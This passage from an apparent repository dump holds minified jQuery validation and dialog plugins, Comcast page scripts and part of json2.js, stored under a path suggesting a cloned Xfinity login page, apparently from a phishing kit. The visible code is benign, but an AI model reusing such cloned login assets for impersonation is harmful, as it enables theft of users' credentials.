this.optional(element)||/^((([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+(\\.([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+)*)|((\\x22)((((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(([\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]|\\x21|[\\x23-\\x5b]|[\\x5d-\\x7e]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(\\\\([\\x01-\\x09\\x0b\\x0c\\x0d-\\x7f]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF]))))*(((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(\\x22)))@((([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.)+(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.?$/i.test(value)},url:function(value,element){return this.optional(element)||/^(https?|ftp):\\/\\/(((([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(%[\\da-f]{2})|[!\\$&'\\(\\)\\*\\+,;=]|:)*@)?(((\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d|[1-9]\\d|1\\d\\d|2[0-4]\\d|25[0-5]))|((([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.)+(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.?)(:\\d*)?)(\\/((([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(%[\\da-f]{2})|[!\\$&'\\(\\)\\*\\+,;=]|:|@)+(\\/(([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(%[\\da-f]{2})|[!\\$&'\\(\\)\\*\\+,;=]|:|@)*)*)?)?(\\?((([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(%[\\da-f]{2})|[!\\$&'\\(\\)\\*\\+,;=]|:|@)|[\\uE000-\\uF8FF]|\\/|\\?)*)?(\\#((([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(%[\\da-f]{2})|[!\\$&'\\(\\)\\*\\+,;=]|:|@)|\\/|\\?)*)?$/i.test(value)},date:function(value,element){return this.optional(element)||!/Invalid|NaN/.test(new Date(value))},dateISO:function(value,element){return this.optional(element)||/^\\d{4}[\\/-]\\d{1,2}[\\/-]\\d{1,2}$/.test(value)},dateDE:function(value,element){return this.optional(element)||/^\\d\\d?\\.\\d\\d?\\.\\d\\d\\d?\\d?$/.test(value)},number:function(value,element){return this.optional(element)||/^-?(?:\\d+|\\d{1,3}(?:,\\d{3})+)(?:\\.\\d+)?$/.test(value)},numberDE:function(value,element){return this.optional(element)||/^-?(?:\\d+|\\d{1,3}(?:\\.\\d{3})+)(?:,\\d+)?$/.test(value)},digits:function(value,element){return this.optional(element)||/^\\d+$/.test(value)},creditcard:function(value,element){if(this.optional(element)){return\"dependency-mismatch\"}if(/[^0-9-]+/.test(value)){return false}var nCheck=0,nDigit=0,bEven=false;value=value.replace(/\\D/g,\"\");for(n=value.length-1;n>=0;n--){var cDigit=value.charAt(n);var nDigit=parseInt(cDigit,10);if(bEven){if((nDigit*=2)>9){nDigit-=9}}nCheck+=nDigit;bEven=!bEven}return(nCheck%10)==0},accept:function(value,element,param){param=typeof param==\"string\"?param.replace(/,/g,\"|\"):\"png|jpe?g|gif\";return this.optional(element)||value.match(new RegExp(\".(\"+param+\")$\",\"i\"))},equalTo:function(value,element,param){return value==$(param).val()}}});$.format=$.validator.format})(jQuery);(function($){var ajax=$.ajax;var pendingRequests={};$.ajax=function(settings){settings=$.extend(settings,$.extend({},$.ajaxSettings,settings));var port=settings.port;if(settings.mode==\"abort\"){if(pendingRequests[port]){pendingRequests[port].abort()}return(pendingRequests[port]=ajax.apply(this,arguments))}return ajax.apply(this,arguments)}})(jQuery);(function($){$.each({focus:\"focusin\",blur:\"focusout\"},function(original,fix){$.event.special[fix]={setup:function(){if($.browser.msie){return false}this.addEventListener(original,$.event.special[fix].handler,true)},teardown:function(){if($.browser.msie){return false}this.removeEventListener(original,$.event.special[fix].handler,true)},handler:function(e){arguments[0]=$.event.fix(e);arguments[0].type=fix;return $.event.handle.apply(this,arguments)}}});$.extend($.fn,{delegate:function(type,delegate,handler){return this.bind(type,function(event){var target=$(event.target);if(target.is(delegate)){return handler.apply(target,arguments)}})},triggerEvent:function(type,target){return this.triggerHandler(type,[$.event.fix({type:type,target:target})])}})})(jQuery);(function($){$.alerts={verticalOffset:-75,horizontalOffset:0,repositionOnResize:true,overlayOpacity:0.5,overlayColor:\"#000\",draggable:true,okButton:\"&nbsp;OK&nbsp;\",cancelButton:\"&nbsp;Cancel&nbsp;\",dialogClass:null,alert:function(message,title,callback){if(title==null){title=\"Alert\"}$.alerts._show(title,message,null,\"alert\",function(result){if(callback){callback(result)}})},confirm:function(message,title,callback){if(title==null){title=\"Confirm\"}$.alerts._show(title,message,null,\"confirm\",function(result){if(callback){callback(result)}})},prompt:function(message,value,title,callback){if(title==null){title=\"Prompt\"}$.alerts._show(title,message,value,\"prompt\",function(result){if(callback){callback(result)}})},_show:function(title,msg,value,type,callback){$.alerts._hide();$.alerts._overlay(\"show\");$(\"BODY\").append('<div id=\"popup_container\"><h2 id=\"popup_title\"></h2><div id=\"popup_content\"><div id=\"popup_message\"></div></div></div>');if($.alerts.dialogClass){$(\"#popup_container\").addClass($.alerts.dialogClass)}var pos=($.browser.msie&&parseInt($.browser.version)<=6)?\"absolute\":\"fixed\";$(\"#popup_container\").css({position:pos,zIndex:99999,padding:0,margin:0});$(\"#popup_title\").text(title);$(\"#popup_content\").addClass(type);$(\"#popup_message\").text(msg);$(\"#popup_message\").html($(\"#popup_message\").text().replace(/\\n/g,\"<br />\"));$(\"#popup_container\").css({minWidth:$(\"#popup_container\").outerWidth(),maxWidth:$(\"#popup_container\").outerWidth()});$.alerts._reposition();$.alerts._maintainPosition(true);switch(type){case\"alert\":$(\"#popup_message\").after('<div id=\"popup_panel\"><input type=\"button\" value=\"'+$.alerts.okButton+'\" id=\"popup_ok\" class=\"btn\" /></div>');$(\"#popup_ok\").click(function(){$.alerts._hide();callback(true)});$(\"#popup_ok\").focus().keypress(function(e){if(e.keyCode==13||e.keyCode==27){$(\"#popup_ok\").trigger(\"click\")}});break;case\"confirm\":$(\"#popup_message\").after('<div id=\"popup_panel\"><input type=\"button\" value=\"'+$.alerts.okButton+'\" id=\"popup_ok\" class=\"btn\" /> <input type=\"button\" value=\"'+$.alerts.cancelButton+'\" id=\"popup_cancel\" class=\"btn alt\" /></div>');$(\"#popup_ok\").click(function(){$.alerts._hide();if(callback){callback(true)}});$(\"#popup_cancel\").click(function(){$.alerts._hide();if(callback){callback(false)}});$(\"#popup_ok\").focus();$(\"#popup_ok, #popup_cancel\").keypress(function(e){if(e.keyCode==13){$(\"#popup_ok\").trigger(\"click\")}if(e.keyCode==27){$(\"#popup_cancel\").trigger(\"click\")}});break;case\"prompt\":$(\"#popup_message\").append('<br /><input type=\"text\" size=\"30\" id=\"popup_prompt\" class=\"btn\" />').after('<div id=\"popup_panel\"><input type=\"button\" value=\"'+$.alerts.okButton+'\" id=\"popup_ok\" class=\"btn\" /> <input type=\"button\" value=\"'+$.alerts.cancelButton+'\" id=\"popup_cancel\" class=\"btn alt\" /></div>');$(\"#popup_prompt\").width($(\"#popup_message\").width());$(\"#popup_ok\").click(function(){var val=$(\"#popup_prompt\").val();$.alerts._hide();if(callback){callback(val)}});$(\"#popup_cancel\").click(function(){$.alerts._hide();if(callback){callback(null)}});$(\"#popup_prompt, #popup_ok, #popup_cancel\").keypress(function(e){if(e.keyCode==13){$(\"#popup_ok\").trigger(\"click\")}if(e.keyCode==27){$(\"#popup_cancel\").trigger(\"click\")}});if(value){$(\"#popup_prompt\").val(value)}$(\"#popup_prompt\").focus().select();break}if($.alerts.draggable){try{$(\"#popup_container\").draggable({handle:$(\"#popup_title\")});$(\"#popup_title\").css({cursor:\"move\"})}catch(e){}}},_hide:function(){$(\"#popup_container\").remove();$.alerts._overlay(\"hide\");$.alerts._maintainPosition(false)},_overlay:function(status){switch(status){case\"show\":$.alerts._overlay(\"hide\");$(\"BODY\").append('<div id=\"popup_overlay\"></div>');$(\"#popup_overlay\").css({position:\"absolute\",zIndex:99998,top:\"0px\",left:\"0px\",width:\"100%\",height:$(document).height(),background:$.alerts.overlayColor,opacity:$.alerts.overlayOpacity});break;case\"hide\":$(\"#popup_overlay\").remove();break}},_reposition:function(){var top=(($(window).height()/2)-($(\"#popup_container\").outerHeight()/2))+$.alerts.verticalOffset;var left=(($(window).width()/2)-($(\"#popup_container\").outerWidth()/2))+$.alerts.horizontalOffset;if(top<0){top=0}if(left<0){left=0}if($.browser.msie&&parseInt($.browser.version)<=6){top=top+$(window).scrollTop()}$(\"#popup_container\").css({top:top+\"px\",left:left+\"px\"});$(\"#popup_overlay\").height($(document).height())},_maintainPosition:function(status){if($.alerts.repositionOnResize){switch(status){case true:$(window).bind(\"resize\",$.alerts._reposition);break;case false:$(window).unbind(\"resize\",$.alerts._reposition);break}}}};jAlert=function(message,title,callback){$.alerts.alert(message,title,callback)};jConfirm=function(message,title,callback){$.alerts.confirm(message,title,callback)};jPrompt=function(message,value,title,callback){$.alerts.prompt(message,value,title,callback)}})(jQuery);var comcast=window.comcast||{};comcast.page=function(){function setupLeftNavigation(selectedNavElement){if(typeof selectedNavElement==\"string\"){$(\"#nav li.\"+selectedNavElement+\" a\").addClass(\"selected\")}$(\"#nav ul:has(.selected)\").show();$(\"#nav li li:has(ul) > a\").addClass(\"folder\");$(\"#nav li li:has(.selected) > a\").addClass(\"folder-open\");$(\"#nav li:has(.selected) > a.top-level\").addClass(\"top-level-active\");$(\"#nav a.top-level\").click(function(){var $topNav=$(\"#nav a.top-level-active\");var $newNav=$(this);var $newNavList=$newNav.next();if(!$newNav.hasClass(\"top-level-active\")){$(\"#nav a.top-level-active\").removeClass(\"top-level-active\").next();$(this).addClass(\"top-level-active\");$topNav.next();$newNav.next()}});$(\"#nav a.folder\").click(function(){var $link=$(this);var $list=$link.next();if($link.is(\".folder-open\")){$link.removeClass(\"folder-open\");$list.slideUp()}else{$link.addClass(\"folder-open\");$list.slideDown()}});if($.browser.mozilla){var $version=$.browser.version.split(\".\");if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=9){if($version[2]&&parseInt($version[2],10)<=0){if($version[3]&&parseInt($version[3],10)<=11||parseInt($version[3],10)<=14){$(\".block\").addClass(\"ff2\");$(\".block\").wrapInner($('<div class=\"ff2fix\"></div>'))}}}}if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=8){if($version[2]&&parseInt($version[2],10)<=1){if($version[3]&&parseInt($version[3],10)<=15){$(\".block\").addClass(\"ff2\");$(\".block\").wrapInner($('<div class=\"ff2fix\"></div>'))}}}}}}function setupBatteryIndicator(){var battery=$(\"li.battery\").text().match(/\\d+/);var $icon=$(\"li.battery span\");if(battery>90){$icon.removeClass().addClass(\"bat-100\")}else{if(battery>60){$icon.removeClass().addClass(\"bat-75\")}else{if(battery>39){$icon.removeClass().addClass(\"bat-50\")}else{if(battery>18){$icon.removeClass().addClass(\"bat-25\")}else{if(battery>8){$icon.removeClass().addClass(\"bat-10\")}else{$icon.removeClass().addClass(\"bat-0\")}}}}}}function setupEducationalTip(){if($(\"#educational-tip:has(.hidden)\").length>0){var closed=true;var $link=$('<a href=\"javascript:;\" class=\"tip-more\">more</a>').click(function(){if(closed){$(\"#educational-tip .hidden\").fadeIn();closed=false;$(this).html(\"less\")}else{$(\"#educational-tip .hidden\").fadeOut();closed=true;$(this).html(\"more\")}}).appendTo(\"#educational-tip\")}}function setupFirewallDisplay(){var $link=$(\"#security-level label\");var $div=$(\"#security-level .hide\");$($div).hide();$($link).click(function(e){$(this).siblings(\".hide\").slideToggle()})}function setupDeleteConfirmDialogs(){$(\"a.confirm\").click(function(e){e.preventDefault();var href=$(this).attr(\"href\");var message=($(this).attr(\"title\").length>0)?\"Are you sure you want to \"+$(this).attr(\"title\")+\"?\":\"Are you sure?\";jConfirm(message,\"Are You Sure?\",function(ret){if(ret){window.location=href}})})}function setupFormValidation(){$.validator.setDefaults({errorElement:\"p\",errorPlacement:function(error,element){error.appendTo(element.closest(\".form-row\"))}});jQuery.extend(jQuery.validator.messages,{required:\"This is a required field.\",remote:\"Please fix this field.\",email:\"Please enter a valid email address.\",url:\"Please enter a valid URL.\",date:\"Please enter a valid date.\",dateISO:\"Please enter a valid date (ISO).\",number:\"Please enter a valid number.\",digits:\"Please enter only digits\",creditcard:\"Please enter a valid credit card number.\",equalTo:\"Please enter the same value again.\",accept:\"Please enter a value with a valid extension.\",maxlength:$.validator.format(\"Please enter no more than {0} characters.\"),minlength:$.validator.format(\"Please enter at least {0} characters.\"),rangelength:$.validator.format(\"Please enter a value between {0} and {1} characters long.\"),range:$.validator.format(\"Please enter a value between {0} and {1}.\"),max:$.validator.format(\"Please enter a value less than or equal to {0}.\"),min:$.validator.format(\"Please enter a value greater than or equal to {0}.\"),ipv4:\"Please enter an IPv4 address in the format #.#.#.#\"});$.validator.addMethod(\"alphanumeric\",function(value,element){return this.optional(element)||/^[a-zA-Z0-9]+$/i.test(value)},\"Only letters and numbers are valid. No spaces or special characters.\");$.validator.addMethod(\"exactlengths\",function(value,element,param){return this.optional(element)||!jQuery.inArray(value.length,param)},\"Please enter exactly {0} characters.\");$.validator.addMethod(\"hexadecimal\",function(value,element){return this.optional(element)||/^[a-fA-F0-9]+$/i.test(value)},\"Only hexadecimal characters are valid. Acceptable characters are ABCDEF0123456789.\");$.validator.addMethod(\"exactlength\",function(value,element,param){return this.optional(element)||value.length==param},jQuery.format(\"Please enter exactly {0} characters.\"));$.validator.addMethod(\"ipv4\",function(value,element){return this.optional(element)||/^0*([1-9]?\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.0*([1-9]?\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.0*([1-9]?\\d|1\\d\\d|2[0-4]\\d|25[0-5])\\.0*([1-9]?\\d|1\\d\\d|2[0-4]\\d|25[0-5])$/i.test(value)},\"Please enter an IPv4 address in the format #.#.#.#\");jQuery.validator.addMethod(\"ip\",function(val,el){function ip_valid(value){return(value.match(/^\\d+$/g)&&value>=0&&value<=255)}var inputs=$(el).closest(\".form-row\").find(\"input\");var isValid=true;inputs.each(function(index,element){isValid&=ip_valid($(element).val())});return isValid},\"Please enter a valid IP address.\");$.validator.addMethod(\"ipv6\",function(value,element){return this.optional(element)||/^\\s*((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\\d|[01]?\\d{1,2})(\\.(25[0-5]|2[0-4]\\d|[01]?\\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\\d|[01]?\\d{1,2})(\\.(25[0-5]|2[0-4]\\d|[01]?\\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\\d|[01]?\\d{1,2})(\\.(25[0-5]|2[0-4]\\d|[01]?\\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\\d|[01]?\\d{1,2})(\\.(25[0-5]|2[0-4]\\d|[01]?\\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\\d|[01]?\\d{1,2})(\\.(25[0-5]|2[0-4]\\d|[01]?\\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\\d|[01]?\\d{1,2})(\\.(25[0-5]|2[0-4]\\d|[01]?\\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\\d|[01]?\\d{1,2})(\\.(25[0-5]|2[0-4]\\d|[01]?\\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\\d|[01]?\\d{1,2})(\\.(25[0-5]|2[0-4]\\d|[01]?\\d{1,2})){3})))(%.+)?\\s*$/i.test(value)},\"Please enter an IPv6 address in the format\");$.validator.addMethod(\"mac\",function(value,element){return this.optional(element)||/^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/i.test(value)},\"Please enter an MAC address in the format xx:xx:xx:xx:xx:xx\");$.validator.addClassRules({octet:{range:[0,255]},ipv4:{ipv4:true},ipv6:{ipv6:true},hexadecimal:{hexadecimal:true},exactlength:{exactlength:true}})}function setupTooltipInHeader(){$(\"#status li\").mouseenter(function(){$(\".tooltip\",this).fadeIn()}).mouseleave(function(){$(\".tooltip\",this).fadeOut()})}return{init:function(title,navElementId){document.title=title+\" - \"+document.title;Uh_Page_Init();setupLeftNavigation(navElementId);setupDeleteConfirmDialogs();setupBatteryIndicator();setupEducationalTip();setupFormValidation();setupFirewallDisplay();setupTooltipInHeader();try{document.execCommand(\"BackgroundImageCache\",false,true)}catch(e){}if($.browser.msie){$(\"input:radio, input:checkbox\").click(function(){this.blur();this.focus()})}}}}();comcast.breakWord=function(originalString,characterLimit){var originalString=\"\"+originalString;var characterLimit=parseInt(characterLimit);if(originalString.length<=0||characterLimit<=0){return}var re=new RegExp(\"(\\\\w{\"+characterLimit+\"})\",\"g\");return originalString.replace(re,\"$1 \")};$.fn.radioToButton=function(settings){var config={autoSubmitForm:false};if(settings){$.extend(config,settings)}this.each(function(){var $c=$container=$(this);var $boxes=$c.find(\"li\");$c.addClass(\"radiolist\");$(\"li\",$c).removeClass(\"selected\");$(\"input:radio:checked\",$c).parent().addClass(\"selected\");$(\"label\",$c).click(function(e){e.preventDefault();var $parent;var $radio;$boxes.removeClass(\"selected\");$parent=$(this).parent().addClass(\"selected\");$(\"input:radio\",$c).attr(\"checked\",false);$radio=$parent.find(\"input:radio\").attr(\"checked\",true);$c.trigger(\"change\",[$radio.val()]);if(config.autoSubmitForm){$c.closest(\"form\").submit()}})});return this};"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/json2.js",
    "content": "/*\r\n    http://www.JSON.org/json2.js\r\n    2010-08-25\r\n\r\n    Public Domain.\r\n\r\n    NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.\r\n\r\n    See http://www.JSON.org/js.html\r\n\r\n\r\n    This code should be minified before deployment.\r\n    See http://javascript.crockford.com/jsmin.html\r\n\r\n    USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO\r\n    NOT CONTROL.\r\n\r\n\r\n    This file creates a global JSON object containing two methods: stringify\r\n    and parse.\r\n\r\n        JSON.stringify(value, replacer, space)\r\n            value       any JavaScript value, usually an object or array.\r\n\r\n            replacer    an optional parameter that determines how object\r\n                        values are stringified for objects. It can be a\r\n                        function or an array of strings.\r\n\r\n            space       an optional parameter that specifies the indentation\r\n                        of nested structures. If it is omitted, the text will\r\n                        be packed without extra whitespace. If it is a number,\r\n                        it will specify the number of spaces to indent at each\r\n                        level. If it is a string (such as '\\t' or '&nbsp;'),\r\n                        it contains the characters used to indent at each level.\r\n\r\n            This method produces a JSON text from a JavaScript value.\r\n\r\n            When an object value is found, if the object contains a toJSON\r\n            method, its toJSON method will be called and the result will be\r\n            stringified. A toJSON method does not serialize: it returns the\r\n            value represented by the name/value pair that should be serialized,\r\n            or undefined if nothing should be serialized. The toJSON method\r\n            will be passed the key associated with the value, and this will be\r\n            bound to the value\r\n\r\n            For example, this would serialize Dates as ISO strings.\r\n\r\n                Date.prototype.toJSON = function (key) {\r\n                    function f(n) {\r\n                        // Format integers to have at least two digits.\r\n                        return n < 10 ? '0' + n : n;\r\n                    }\r\n\r\n                    return this.getUTCFullYear()   + '-' +\r\n                         f(this.getUTCMonth() + 1) + '-' +\r\n                         f(this.getUTCDate())      + 'T' +\r\n                         f(this.getUTCHours())     + ':' +\r\n                         f(this.getUTCMinutes())   + ':' +\r\n                         f(this.getUTCSeconds())   + 'Z';\r\n                };\r\n\r\n            You can provide an optional replacer method. It will be passed the\r\n            key and value of each member, with this bound to the containing\r\n            object. The value that is returned from your method will be\r\n            serialized. If your method returns undefined, then the member will\r\n            be excluded from the serialization.\r\n\r\n            If the replacer parameter is an array of strings, then it will be\r\n            used to select the members to be serialized. It filters the results\r\n            such that only members with keys listed in the replacer array are\r\n            stringified.\r\n\r\n            Values that do not have JSON representations, such as undefined or\r\n            functions, will not be serialized. Such values in objects will be\r\n            dropped; in arrays they will be replaced with null. You can use\r\n            a replacer function to replace those with JSON values.\r\n            JSON.stringify(undefined) returns undefined.\r\n\r\n            The optional space parameter produces a stringification of the\r\n            value that is filled with line breaks and indentation to make it\r\n            easier to read.\r\n\r\n            If the space parameter is a non-empty string, then that string will\r\n            be used for indentation. If the space parameter is a number, then\r\n            the indentation will be that many spaces.\r\n\r\n            Example:\r\n\r\n            text = JSON.stringify(['e', {pluribus: 'unum'}]);\r\n            // text is '[\"e\",{\"pluribus\":\"unum\"}]'\r\n\r\n\r\n            text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\\t');\r\n            // text is '[\\n\\t\"e\",\\n\\t{\\n\\t\\t\"pluribus\": \"unum\"\\n\\t}\\n]'\r\n\r\n            text = JSON.stringify([new Date()], function (key, value) {\r\n                return this[key] instanceof Date ?\r\n                    'Date(' + this[key] + ')' : value;\r\n            });\r\n            // text is '[\"Date(---current time---)\"]'\r\n\r\n\r\n        JSON.parse(text, reviver)\r\n            This method parses a JSON text to produce an object or array.\r\n            It can throw a SyntaxError exception.\r\n\r\n            The optional reviver parameter is a function that can filter and\r\n            transform the results. It receives each of the keys and values,\r\n            and its return value is used instead of the original value.\r\n            If it returns what it received, then the structure is not modified.\r\n            If it returns undefined then the member is deleted.\r\n\r\n            Example:\r\n\r\n            // Parse the text. Values that look like ISO date strings will\r\n            // be converted to Date objects.\r\n\r\n            myData = JSON.parse(text, function (key, value) {\r\n                var a;\r\n                if (typeof value === 'string') {\r\n                    a =\r\n/^(\\d{4})-(\\d{2})-(\\d{2})T(\\d{2}):(\\d{2}):(\\d{2}(?:\\.\\d*)?)Z$/.exec(value);\r\n                    if (a) {\r\n                        return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4],\r\n                            +a[5], +a[6]));\r\n                    }\r\n                }\r\n                return value;\r\n            });\r\n\r\n            myData = JSON.parse('[\"Date(09/09/2001)\"]', function (key, value) {\r\n                var d;\r\n                if (typeof value === 'string' &&\r\n                        value.slice(0, 5) === 'Date(' &&\r\n                        value.slice(-1) === ')') {\r\n                    d = new Date(value.slice(5, -1));\r\n                    if (d) {\r\n                        return d;\r\n                    }\r\n                }\r\n                return value;\r\n            });\r\n\r\n\r\n    This is a reference implementation. You are free to copy, modify, or\r\n    redistribute.\r\n*/\r\n\r\n/*jslint evil: true, strict: false */\r\n\r\n/*members \"\", \"\\b\", \"\\t\", \"\\n\", \"\\f\", \"\\r\", \"\\\"\", JSON, \"\\\\\", apply,\r\n    call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours,\r\n    getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join,\r\n    lastIndex, length, parse, prototype, push, replace, slice, stringify,\r\n    test, toJSON, toString, valueOf\r\n*/\r\n\r\n\r\n// Create a JSON object only if one does not already exist. We create the\r\n// methods in a closure to avoid creating global variables.\r\n\r\nif (!this.JSON) {\r\n    this.JSON = {};\r\n}\r\n\r\n(function () {\r\n\r\n    function f(n) {\r\n        // Format integers to have at least two digits.\r\n        return n < 10 ? '0' + n : n;\r\n    }\r\n\r\n    if (typeof Date.prototype.toJSON !== 'function') {\r\n\r\n        Date.prototype.toJSON = function (key) {\r\n\r\n            return isFinite(this.valueOf()) ?\r\n                   this.getUTCFullYear()   + '-' +\r\n                 f(this.getUTCMonth() + 1) + '-' +\r\n                 f(this.getUTCDate())      + 'T' +\r\n                 f(this.getUTCHours())     + ':' +\r\n                 f(this.getUTCMinutes())   + ':' +\r\n                 f(this.getUTCSeconds())   + 'Z' : null;\r\n        };\r\n\r\n        String.prototype.toJSON =\r\n        Number.prototype.toJSON =\r\n        Boolean.prototype.toJSON = function (key) {\r\n            return this.valueOf();\r\n        };\r\n    }\r\n\r\n    var cx = /[\\u0000\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g,\r\n        escapable = /[\\\\\\\"\\x00-\\x1f\\x7f-\\x9f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g,\r\n        gap,\r\n        indent,\r\n        meta = {    // table of character substitutions\r\n            '\\b': '\\\\b',\r\n            '\\t': '\\\\t',\r\n            '\\n': '\\\\n',\r\n            '\\f': '\\\\f',\r\n            '\\r': '\\\\r',\r\n            '\"' : '\\\\\"',\r\n            '\\\\': '\\\\\\\\'\r\n        },\r\n        rep;\r\n\r\n\r\n    function quote(string) {\r\n\r\n// If the string contains no control characters, no quote characters, and no\r\n// backslash characters, then we can safely slap some quotes around it.\r\n// Otherwise we must also replace the offending characters with safe escape\r\n// sequences.\r\n\r\n        escapable.lastIndex = 0;\r\n        return escapable.test(string) ?\r\n            '\"' + string.replace(escapable, function (a) {\r\n                var c = meta[a];\r\n                return typeof c === 'string' ? c :\r\n                    '\\\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);\r\n            }) + '\"' :\r\n            '\"' + string + '\"';\r\n    }\r\n\r\n\r\n    function str(key, holder) {\r\n\r\n// Produce a string from holder[key].\r\n\r\n        var i,          // The loop counter.\r\n            k,          // The member key.\r\n            v,          // The member value.\r\n            length,\r\n            mind = gap,\r\n            partial,\r\n            value = holder[key];\r\n\r\n// If the value has a toJSON method, call it to obtain a replacement value.\r\n\r\n        if (value && typeof value === 'object' &&\r\n                typeof value.toJSON === 'function') {\r\n            value = value.toJSON(key);\r\n        }\r\n\r\n// If we were called with a replacer function, then call the replacer to\r\n// obtain a replacement value.\r\n\r\n        if (typeof rep === 'function') {\r\n            value = rep.call(holder, key, value);\r\n        }\r\n\r\n// What happens next depends on the value's type.\r\n\r\n        switch (typeof value) {\r\n        case 'string':\r\n            return quote(value);\r\n\r\n        case 'number':\r\n\r\n// JSON numbers must be finite. Encode non-finite numbers as null.\r\n\r\n            return isFinite(value) ? String(value) : 'null';\r\n\r\n        case 'boolean':\r\n        case 'null':\r\n\r\n// If the value is a boolean or null, convert it to a string. Note:\r\n// typeof null does not produce 'null'. The case is included here in\r\n// the remote chance that this 